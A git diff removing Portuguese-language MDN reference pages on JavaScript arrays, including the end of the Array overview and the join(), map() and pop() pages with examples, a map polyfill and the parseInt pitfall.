-<pre class="brush: js notranslate">var fruits = [];
-fruits.push('banana', 'apple', 'peach');
-
-console.log(fruits.length); // 3
-</pre>
-
-<p>When setting a property on a JavaScript array when the property is a valid array index and that index is outside the current bounds of the array, the engine will update the array's {{jsxref("Array.length", "length")}} property accordingly:</p>
-
-<pre class="brush: js notranslate">fruits[5] = 'mango';
-console.log(fruits[5]); // 'mango'
-console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
-console.log(fruits.length); // 6
-</pre>
-
-<p>Increasing the {{jsxref("Array.length", "length")}}.</p>
-
-<pre class="brush: js notranslate">fruits.length = 10;
-console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
-console.log(fruits.length); // 10
-</pre>
-
-<p>Decreasing the {{jsxref("Array.length", "length")}} property does, however, delete elements.</p>
-
-<pre class="brush: js notranslate">fruits.length = 2;
-console.log(Object.keys(fruits)); // ['0', '1']
-console.log(fruits.length); // 2
-</pre>
-
-<p>This is explained further on the {{jsxref("Array.length")}} page.</p>
-
-<h3 id="Creating_an_array_using_the_result_of_a_match">Creating an array using the result of a match</h3>
-
-<p>The result of a match between a regular expression and a string can create a JavaScript array. This array has properties and elements which provide information about the match. Such an array is returned by {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, and {{jsxref("String.replace")}}. To help explain these properties and elements, look at the following example and then refer to the table below:</p>
-
-<pre class="brush: js notranslate">// Match one d followed by one or more b's followed by one d
-// Remember matched b's and the following d
-// Ignore case
-
-var myRe = /d(b+)(d)/i;
-var myArray = myRe.exec('cdbBdbsbz');
-</pre>
-
-<p>The properties and elements returned from this match are as follows:</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td class="header">Property/Element</td>
- <td class="header">Description</td>
- <td class="header">Example</td>
- </tr>
- <tr>
- <td><code>input</code></td>
- <td>A read-only property that reflects the original string against which the regular expression was matched.</td>
- <td>cdbBdbsbz</td>
- </tr>
- <tr>
- <td><code>index</code></td>
- <td>A read-only property that is the zero-based index of the match in the string.</td>
- <td>1</td>
- </tr>
- <tr>
- <td><code>[0]</code></td>
- <td>A read-only element that specifies the last matched characters.</td>
- <td>dbBd</td>
- </tr>
- <tr>
- <td><code>[1], ...[n]</code></td>
- <td>Read-only elements that specify the parenthesized substring matches, if included in the regular expression. The number of possible parenthesized substrings is unlimited.</td>
- <td>[1]: bB<br>
- [2]: d</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Properties">Properties</h2>
-
-<dl>
- <dt><code>Array.length</code></dt>
- <dd>The <code>Array</code> constructor's length property whose value is 1.</dd>
- <dt>{{jsxref("Array.@@species", "get Array[@@species]")}}</dt>
- <dd>The constructor function that is used to create derived objects.</dd>
- <dt>{{jsxref("Array.prototype")}}</dt>
- <dd>Allows the addition of properties to all array objects.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<dl>
- <dt>{{jsxref("Array.from()")}}</dt>
- <dd>Creates a new <code>Array</code> instance from an array-like or iterable object.</dd>
- <dt>{{jsxref("Array.isArray()")}}</dt>
- <dd>Returns true if a variable is an array, if not false.</dd>
- <dt>{{jsxref("Array.of()")}}</dt>
- <dd>Creates a new <code>Array</code> instance with a variable number of arguments, regardless of number or type of the arguments.</dd>
-</dl>
-
-<h2 id="Array_instances"><code>Array</code> instances</h2>
-
-<p>All <code>Array</code> instances inherit from {{jsxref("Array.prototype")}}. The prototype object of the <code>Array</code> constructor can be modified to affect all <code>Array</code> instances.</p>
-
-<h3 id="Properties_2">Properties</h3>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Properties')}}</div>
-
-<h3 id="Methods_2">Methods</h3>
-
-<h4 id="Mutator_methods">Mutator methods</h4>
-
-<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Mutator_methods')}}</div>
-
-<h4 id="Accessor_methods">Accessor methods</h4>
-
-<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Accessor_methods')}}</div>
-
-<h4 id="Iteration_methods">Iteration methods</h4>
-
-<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Iteration_methods')}}</div>
-
-<h2 id="Array_generic_methods"><code>Array</code> generic methods</h2>
-
-<div class="warning">
-<p><strong>Array generics are non-standard, deprecated and will get removed in the near future</strong>. </p>
-</div>
-
-<p>Sometimes you would like to apply array methods to strings or other array-like objects (such as function {{jsxref("Functions/arguments", "arguments", "", 1)}}). By doing this, you treat a string as an array of characters (or otherwise treat a non-array as an array). For example, in order to check that every character in the variable <var>str</var> is a letter, you would write:</p>
-
-<pre class="brush: js notranslate">function isLetter(character) {
- return character &gt;= 'a' &amp;&amp; character &lt;= 'z';
-}
-
-if (Array.prototype.every.call(str, isLetter)) {
- console.log("The string '" + str + "' contains only letters!");
-}
-</pre>
-
-<p>This notation is rather wasteful and JavaScript 1.6 introduced a generic shorthand:</p>
-
-<pre class="brush: js notranslate">if (Array.every(str, isLetter)) {
- console.log("The string '" + str + "' contains only letters!");
-}
-</pre>
-
-<p>{{jsxref("Global_Objects/String", "Generics", "#String_generic_methods", 1)}} are also available on {{jsxref("String")}}.</p>
-
-<p>These are <strong>not</strong> part of ECMAScript standards and they are not supported by non-Gecko browsers. As a standard alternative, you can convert your object to a proper array using {{jsxref("Array.from()")}}; although that method may not be supported in old browsers:</p>
-
-<pre class="brush: js notranslate">if (Array.from(str).every(isLetter)) {
-  console.log("The string '" + str + "' contains only letters!");
-}
-</pre>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Creating_an_array">Creating an array</h3>
-
-<p>The following example creates an array, <code>msgArray</code>, with a length of 0, then assigns values to <code>msgArray[0]</code> and <code>msgArray[99]</code>, changing the length of the array to 100.</p>
-
-<pre class="brush: js notranslate">var msgArray = [];
-msgArray[0] = 'Hello';
-msgArray[99] = 'world';
-
-if (msgArray.length === 100) {
- console.log('The length is 100.');
-}
-</pre>
-
-<h3 id="Creating_a_two-dimensional_array">Creating a two-dimensional array</h3>
-
-<p>The following creates a chess board as a two dimensional array of strings. The first move is made by copying the 'p' in (6,4) to (4,4). The old position (6,4) is made blank.</p>
-
-<pre class="brush: js notranslate">var board = [
- ['R','N','B','Q','K','B','N','R'],
- ['P','P','P','P','P','P','P','P'],
- [' ',' ',' ',' ',' ',' ',' ',' '],
- [' ',' ',' ',' ',' ',' ',' ',' '],
- [' ',' ',' ',' ',' ',' ',' ',' '],
- [' ',' ',' ',' ',' ',' ',' ',' '],
- ['p','p','p','p','p','p','p','p'],
- ['r','n','b','q','k','b','n','r'] ];
-
-console.log(board.join('\n') + '\n\n');
-
-// Move King's Pawn forward 2
-board[4][4] = board[6][4];
-board[6][4] = ' ';
-console.log(board.join('\n'));
-</pre>
-
-<p>Here is the output:</p>
-
-<pre class="eval notranslate">R,N,B,Q,K,B,N,R
-P,P,P,P,P,P,P,P
- , , , , , , ,
- , , , , , , ,
- , , , , , , ,
- , , , , , , ,
-p,p,p,p,p,p,p,p
-r,n,b,q,k,b,n,r
-
-R,N,B,Q,K,B,N,R
-P,P,P,P,P,P,P,P
- , , , , , , ,
- , , , , , , ,
- , , , ,p, , ,
- , , , , , , ,
-p,p,p,p, ,p,p,p
-r,n,b,q,k,b,n,r
-</pre>
-
-<h3 id="Using_an_array_to_tabulate_a_set_of_values">Using an array to tabulate a set of values</h3>
-
-<pre class="brush: js notranslate">values = [];
-for (var x = 0; x &lt; 10; x++){
- values.push([
- 2 ** x,
- 2 * x ** 2
- ])
-};
-console.table(values)</pre>
-
-<p>Results in</p>
-
-<pre class="eval notranslate">0 1 0
-1 2 2
-2 4 8
-3 8 18
-4 16 32
-5 32 50
-6 64 72
-7 128 98
-8 256 128
-9 512 162</pre>
-
-<p>(First column is the (index))</p>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.4', 'Array')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td>New methods added: {{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}</td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-array-objects', 'Array')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>New methods added: {{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td>New method added: {{jsxref("Array.prototype.includes()")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_Navegadores">Compatibilidade de Navegadores</h2>
-
-<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se quiser contribuir para os dados, por favor consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pull request.</div>
-
-<p>{{Compat("javascript.builtins.Array")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Indexing_object_properties">JavaScript Guide: “Indexing object properties”</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Array_Object">JavaScript Guide: “Predefined Core Objects: <code>Array</code> Object”</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Array comprehensions</a></li>
- <li><a href="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li>
- <li><a href="/en-US/docs/JavaScript_typed_arrays">Typed Arrays</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/join/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/join/index.html
deleted file mode 100644
index aec6f34cc2..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/join/index.html
+++ /dev/null
@@ -1,90 +0,0 @@
----
-title: Array.prototype.join()
-slug: Web/JavaScript/Reference/Global_Objects/Array/join
-tags:
- - JavaScript
- - Prototipo
- - Referencia
- - Vector
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>join()</strong></code> cria e devolve uma <em>string</em> ao concatenar todos os elementos numa <em>array</em> (ou <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">objeto como um vetor / matriz</a>) numa cadeia separada por vírgulas ou outro separador especificado. Se a <em>array</em> tem um só item, esse item é devolvido sem o uso do separador.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-join.html")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><var>vec</var>.join([<var>separador</var>])</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>separador</code> {{optional_inline}}</dt>
- <dd>Especifica uma <em>string</em> (cadeia de caracteres) para separar cada elemento do vetor. O separador é convertido em cadeia se for necessário. Se for omitido, os elementos serão separados por virgulas (","). Se <code>separador</code> é uma cadeia vazia, todos os elementos são unidos sem qualquer caráter entre eles.</dd>
-</dl>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>Uma cadeia (de caracteres) com todos os elementos do vetor unidos. Se <code><em>vec</em>.length</code> é <code>0</code>, é devolvida uma cadeia vazia.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>As conversões de todos os elementos do vetor para cadeias (de caracteres) são unidas numa única cadeia.</p>
-
-<p>Caso algum elemento seja <code>undefined</code>, <code>null</code> ou um vetor vazio <code>[]</code>, este será convertido numa cadeia vazia.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Juntar_um_vetor_de_quatro_formas_diferentes">Juntar um vetor de quatro formas diferentes</h3>
-
-<p>O exemplo que se segue cria um vetor, <code>a</code>, com três elementos, depois disso une o vetor quatro vezes: usando o separador predefinido, uma vírgula e um espaço, o símbolo mais, e finalmente uma cadeia (de caracteres) vazia.</p>
-
-<pre class="brush: js notranslate">var a = ['Vento', 'Chuva', 'Fogo'];
-a.join(); // 'Vento,Chuva,Fogo'
-a.join(', '); // 'Vento, Chuva, Fogo'
-a.join(' + '); // 'Vento + Chuva + Fogo'
-a.join(''); // 'VentoChuvaFogo'</pre>
-
-<h3 id="Juntar_um_objeto_como_vetor">Juntar um objeto como vetor</h3>
-
-<p>O seguinte exemplo junta um objeto como vetor (<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>), ao chamar {{jsxref("Function.prototype.call")}} no <code>Array.prototype.join</code>.</p>
-
-<pre class="brush: js notranslate">function f(a, b, c) {
- var s = Array.prototype.join.call(arguments);
- console.log(s); // '<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">1,a,true'</span></span></span></span>
-}
-f(1, 'a', true);
-// valor devolvido: "1,a,true"
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("javascript.builtins.Array.join")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("String.prototype.split()")}}</li>
- <li>{{jsxref("Array.prototype.toString()")}}</li>
- <li>{{jsxref("TypedArray.prototype.join()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/map/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/map/index.html
deleted file mode 100644
index 12910ebc2a..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/map/index.html
+++ /dev/null
@@ -1,366 +0,0 @@
----
-title: Array.prototype.map()
-slug: Web/JavaScript/Reference/Global_Objects/Array/map
-tags:
- - Array
- - ECMAScript 5
- - JavaScript
- - Prototype
- - Referencia
- - metodo
- - polyfill
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
----
-<div>{{JSRef}}</div>
-
-<p><span class="seoSummary">O método <code><strong>map()</strong></code> <strong>cria uma nova array</strong> preenchida com os resultados da chamada de uma função fornecida em cada elemento da matriz de chamada.</span></p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-map.html")}}</div>
-
-<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) {
- // retorna novo elemento para new_array
-}[, <var>thisArg</var>])
-</pre>
-
-<h3 id="Parameteros">Parameteros</h3>
-
-<dl>
- <dt><code><var>callback</var></code></dt>
- <dd>
- <p>Função que é chamada para cada elemento de <code>arr</code>. Cada vez que a função <code>callback</code> é executada, o valor devolvido é acrescentado a <code>new_array</code>.</p>
-
- <p>A função <code><var>callback</var></code> aceita os seguintes argumentos:</p>
-
- <dl>
- <dt><code><var>currentValue</var></code></dt>
- <dd>O elemento da matriz a ser processado.</dd>
- <dt><code><var>index</var></code>{{optional_inline}}</dt>
- <dd>O indice do elemento da matriz a ser processado.</dd>
- <dt><code><var>array</var></code>{{optional_inline}}</dt>
- <dd>A matriz em que a função <code>map</code> foi chamada.</dd>
- </dl>
- </dd>
- <dt><code>thisArg</code>{{optional_inline}}</dt>
- <dd>Valor para usar como <code>this</code> ao executar a função <code><var>callback</var></code>.</dd>
-</dl>
-
-<h3 id="Valor_de_retorno">Valor de retorno</h3>
-
-<p>Uma nova matriz em que cada elemento é um resultado da função callback..</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p><code>map</code> chama a função <code><var>callback</var></code> <strong>uma vez por cada elemento</strong> na matriz, por ordem, e cria uma matriz com os resultados. <code><var>callback</var></code> é só chamada nos indices da matriz que têm valores (inclusive {{jsxref("undefined")}}).</p>
-
-<p>Não é chamada para elementos que não pertecem à matriz; isto sendo:</p>
-
-<ul>
- <li>indices que não pertencem pela matriz;</li>
- <li>que foram eliminados; ou</li>
- <li>que nunca tiveram um valor.</li>
-</ul>
-
-<h3 id="Quando_não_usar_map">Quando não usar map()</h3>
-
-<p>Como <code>map</code> map cira uma nova matriz, é um <em>anti-pattern</em> usar a função quando não se vai usar o valor devolvido; use antes {{jsxref("Array/forEach", "forEach")}} ou {{jsxref("for...of", "for-of")}}.</p>
-
-<p>Não deve usar <code>map</code> se:</p>
-
-<ul>
- <li>não vai usar o valor devolvido; e/ou</li>
- <li>o <code>callback</code> não devolve um valor.</li>
-</ul>
-
-<h3 id="Parameteros_em_detalhe">Parameteros em detalhe</h3>
-
-<p><code><var>callback</var></code> é chamada com três argumentos: o valor do elemento, o indice do elemento, e a matriz do objeto a ser mapeado.</p>
-
-<p>Se o parametero <code>thisArg</code> é fornecido, é usado como o valor de <code>this</code> na função <em><code>callback</code></em>. Se não, o valor {{jsxref("undefined")}} é usado como o valor de <code>this</code>. O valor de <code>this</code> no corpo da função <code><var>callback</var></code> é determinado de acordo com <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">as regras habituais para determinar o valor de this numa função</a>.</p>
-
-<p><code>map</code> não modifica a matriz em que é chamada (embora a função <em><code>callback</code></em>, se invocada, possa fazê-lo).</p>
-
-<p>A série de elementos processados por <code>map</code> é definida antes da primeira invocação de <em><code>callback</code></em>. Os elementos que são anexados ao conjunto após a chamada para <code>map</code> não serão visitados por <code><em>callback</em></code>. Se os elementos existentes da matriz forem alterados, o seu valor como passado para <em><code>callback</code></em> será o valor no momento em que <code>map</code> os visitar. Os elementos que são apagados após a chamada para <code>map</code> começa e antes de serem visitados, não são visitados.</p>
-
-<p>Devido ao algoritmo defenido na especificação, se a matriz em que <code>map</code> é chamada for esparsa, a matriz resultante também o será com os mesmos indices em branco.</p>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<p><code>map</code> was added to the ECMA-262 standard in the 5th edition. Therefore, it may not be present in all implementations of the standard.</p>
-
-<p>You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>map</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}}, {{jsxref("TypeError")}}, and {{jsxref("Array")}} have their original values and that <code>callback.call</code> evaluates to the original value of <code>{{jsxref("Function.prototype.call")}}</code>.</p>
-
-<pre class="brush: js notranslate">// Production steps of ECMA-262, Edition 5, 15.4.4.19
-// Reference: http://es5.github.io/#x15.4.4.19
-if (!Array.prototype.map) {
-
- Array.prototype.map = function(callback/*, thisArg*/) {
-
- var T, A, k;
-
- if (this == null) {
- throw new TypeError('this is null or not defined');
- }
-
- // 1. Let O be the result of calling ToObject passing the |this|
- // value as the argument.
- var O = Object(this);
-
- // 2. Let lenValue be the result of calling the Get internal
- // method of O with the argument "length".
- // 3. Let len be ToUint32(lenValue).
- var len = O.length &gt;&gt;&gt; 0;
-
- // 4. If IsCallable(callback) is false, throw a TypeError exception.
- // See: http://es5.github.com/#x9.11
- if (typeof callback !== 'function') {
- throw new TypeError(callback + ' is not a function');
- }
-
- // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
- if (arguments.length &gt; 1) {
- T = arguments[1];
- }
-
- // 6. Let A be a new array created as if by the expression new Array(len)
- // where Array is the standard built-in constructor with that name and
- // len is the value of len.
- A = new Array(len);
-
- // 7. Let k be 0
- k = 0;
-
- // 8. Repeat, while k &lt; len
- while (k &lt; len) {
-
- var kValue, mappedValue;
-
- // a. Let Pk be ToString(k).
- // This is implicit for LHS operands of the in operator
- // b. Let kPresent be the result of calling the HasProperty internal
- // method of O with argument Pk.
- // This step can be combined with c
- // c. If kPresent is true, then
- if (k in O) {
-
- // i. Let kValue be the result of calling the Get internal
- // method of O with argument Pk.
- kValue = O[k];
-
- // ii. Let mappedValue be the result of calling the Call internal
- // method of callback with T as the this value and argument
- // list containing kValue, k, and O.
- mappedValue = callback.call(T, kValue, k, O);
-
- // iii. Call the DefineOwnProperty internal method of A with arguments
- // Pk, Property Descriptor
- // { Value: mappedValue,
- // Writable: true,
- // Enumerable: true,
- // Configurable: true },
- // and false.
-
- // In browsers that support Object.defineProperty, use the following:
- // Object.defineProperty(A, k, {
- // value: mappedValue,
- // writable: true,
- // enumerable: true,
- // configurable: true
- // });
-
- // For best browser support, use the following:
- A[k] = mappedValue;
- }
- // d. Increase k by 1.
- k++;
- }
-
- // 9. return A
- return A;
- };
-}
-</pre>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Mapping_an_array_of_numbers_to_an_array_of_square_roots">Mapping an array of numbers to an array of square roots</h3>
-
-<p>The following code takes an array of numbers and creates a new array containing the square roots of the numbers in the first array.</p>
-
-<pre class="brush: js notranslate">let numbers = [1, 4, 9]
-let roots = numbers.map(function(num) {
- return Math.sqrt(num)
-})
-// roots is now [1, 2, 3]
-// numbers is still [1, 4, 9]
-</pre>
-
-<h3 id="Using_map_to_reformat_objects_in_an_array">Using map to reformat objects in an array</h3>
-
-<p>The following code takes an array of objects and creates a new array containing the newly reformatted objects.</p>
-
-<pre class="brush: js notranslate">let kvArray = [{key: 1, value: 10},
- {key: 2, value: 20},
- {key: 3, value: 30}]
-
-let reformattedArray = kvArray.map(obj =&gt; {
- let rObj = {}
- rObj[obj.key] = obj.value
- return rObj
-})
-// reformattedArray is now [{1: 10}, {2: 20}, {3: 30}],
-
-// kvArray is still:
-// [{key: 1, value: 10},
-// {key: 2, value: 20},
-// {key: 3, value: 30}]
-</pre>
-
-<h3 id="Mapping_an_array_of_numbers_using_a_function_containing_an_argument">Mapping an array of numbers using a function containing an argument</h3>
-
-<p>The following code shows how <code>map</code> works when a function requiring one argument is used with it. The argument will automatically be assigned from each element of the array as <code>map</code> loops through the original array.</p>
-
-<pre class="brush: js notranslate">let numbers = [1, 4, 9]
-let doubles = numbers.map(function(num) {
- return num * 2
-})
-
-// doubles is now [2, 8, 18]
-// numbers is still [1, 4, 9]
-</pre>
-
-<h3 id="Using_map_generically">Using map generically</h3>
-
-<p>This example shows how to use map on a {{jsxref("String")}} to get an array of bytes in the ASCII encoding representing the character values:</p>
-
-<pre class="brush: js notranslate">let map = Array.prototype.map
-let a = map.call('Hello World', function(x) {
- return x.charCodeAt(0)
-})
-// a now equals [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
-</pre>
-
-<h3 id="Using_map_generically_querySelectorAll">Using map generically querySelectorAll</h3>
-
-<p>This example shows how to iterate through a collection of objects collected by <code>querySelectorAll</code>. This is because <code>querySelectorAll</code> returns a <code>NodeList</code> (which is a collection of objects).</p>
-
-<p>In this case, we return all the selected <code>option</code>s' values on the screen:</p>
-
-<pre class="brush: js notranslate">let elems = document.querySelectorAll('select option:checked')
-let values = Array.prototype.map.call(elems, function(obj) {
- return obj.value
-})
-</pre>
-
-<p>An easier way would be the {{jsxref("Array.from()")}} method.</p>
-
-<h3 id="Tricky_use_case">Tricky use case</h3>
-
-<p>(<a href="http://www.wirfs-brock.com/allen/posts/166">inspired by this blog post</a>)</p>
-
-<p>It is common to use the callback with one argument (the element being traversed). Certain functions are also commonly used with one argument, even though they take additional optional arguments. These habits may lead to confusing behaviors.</p>
-
-<p>Consider:</p>
-
-<pre class="brush: js notranslate">["1", "2", "3"].map(parseInt)</pre>
-
-<p>While one might expect <code>[1, 2, 3]</code>, the actual result is <code>[1, NaN, NaN]</code>.</p>
-
-<p>{{jsxref("parseInt")}} is often used with one argument, but takes two. The first is an expression and the second is the radix to the callback function, <code>Array.prototype.map</code> passes 3 arguments:</p>
-
-<ul>
- <li>the element</li>
- <li>the index</li>
- <li>the array</li>
-</ul>
-
-<p>The third argument is ignored by {{jsxref("parseInt")}}—but <em>not</em> the second one! This is the source of possible confusion.</p>
-
-<p>Here is a concise example of the iteration steps:</p>
-
-<pre class="brush: js notranslate">// parseInt(string, radix) -&gt; map(parseInt(value, index))
-/* first iteration (index is 0): */ parseInt("1", 0) // 1
-/* second iteration (index is 1): */ parseInt("2", 1) // NaN
-/* third iteration (index is 2): */ parseInt("3", 2) // NaN
-</pre>
-
-<p>Then let's talk about solutions.</p>
-
-<pre class="brush: js notranslate">function returnInt(element) {
- return parseInt(element, 10)
-}
-
-['1', '2', '3'].map(returnInt); // [1, 2, 3]
-// Actual result is an array of numbers (as expected)
-
-// Same as above, but using the concise arrow function syntax
-['1', '2', '3'].map( str =&gt; parseInt(str) )
-
-// A simpler way to achieve the above, while avoiding the "gotcha":
-['1', '2', '3'].map(Number) // [1, 2, 3]
-
-// But unlike parseInt(), Number() will also return a float or (resolved) exponential notation:
-['1.1', '2.2e2', '3e300'].map(Number) // [1.1, 220, 3e+300]
-
-// For comparison, if we use parseInt() on the array above:
-['1.1', '2.2e2', '3e300'].map( str =&gt; parseInt(str) ) // [1, 2, 3]
-</pre>
-
-<p>One alternative output of the map method being called with {{jsxref("parseInt")}} as a parameter runs as follows:</p>
-
-<pre class="brush: js notranslate">let xs = ['10', '10', '10']
-
-xs = xs.map(parseInt)
-
-console.log(xs)
-// Actual result of 10,NaN,2 may be unexpected based on the above description.</pre>
-
-<h3 id="Mapped_array_contains_undefined">Mapped array contains undefined</h3>
-
-<p>When {{jsxref("undefined")}} or nothing is returned:</p>
-
-<pre class="brush: js notranslate">let numbers = [1, 2, 3, 4]
-let filteredNumbers = numbers.map(function(num, index) {
- if (index &lt; 3) {
- return num
- }
-})
-// index goes from 0, so the filterNumbers are 1,2,3 and undefined.
-// filteredNumbers is [1, 2, 3, undefined]
-// numbers is still [1, 2, 3, 4]
-
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Array.map")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Array.prototype.forEach()")}}</li>
- <li>{{jsxref("Map")}} object</li>
- <li>{{jsxref("Array.from()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/array/pop/index.html b/files/pt-pt/web/javascript/reference/global_objects/array/pop/index.html
deleted file mode 100644
index 440ea3e6ee..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/array/pop/index.html
+++ /dev/null
@@ -1,96 +0,0 @@
----
-title: Array.prototype.pop()
-slug: Web/JavaScript/Reference/Global_Objects/Array/pop
-tags:
- - JavaScript
- - Lista
- - Prototipo
- - Referencia
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
----
-<div>{{JSRef}}</div>
-
-<p>O método <code><strong>pop()</strong></code> remove o último elemento de um array e retorna esse elemento. Este método altera o tamanho do array.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre class="syntaxbox"><var>arr</var>.pop()</pre>
-
-<h3 id="Valor_retornado">Valor retornado</h3>
-
-<p>O elemento removido do array; {{jsxref("undefined")}} se o array estiver vazio.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O método <code>pop</code> remove o último elemento de um array e retorna esse elemento para a função que o chamou.</p>
-
-<p><code>pop</code> é um método intencionalmente genérico; este método pode ser {{jsxref("Function.call", "called", "", 1)}} ou {{jsxref("Function.apply", "applied", "", 1)}} para objectos parecidos com arrays. Objectos que não contenham a propriedade <code>length</code> (tamanho) que reflete o último elemento numa lista de consecutivas propriedades numéricas zero-based, pode não se comportar de maneira significativa.</p>
-
-<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Se o método </span></font>pop()</code> for chamado num array vazio este retorna {{jsxref("undefined")}}.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Remover_o_último_elemento_de_um_array">Remover o último elemento de um array</h3>
-
-<p>O seguinte exemplo cria um array <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">peixes</span></font> que contêm quatro elementos, e depois remove o último elemento.</p>
-
-<pre class="brush: js">var peixes = ['anjo', 'palhaço', 'mandarim', 'esturjão'];
-
-var popped = peixes.pop();
-
-console.log(peixes); // ['anjo', 'palhaço', 'mandarim']
-
-console.log(popped); // 'esturjão'</pre>
-
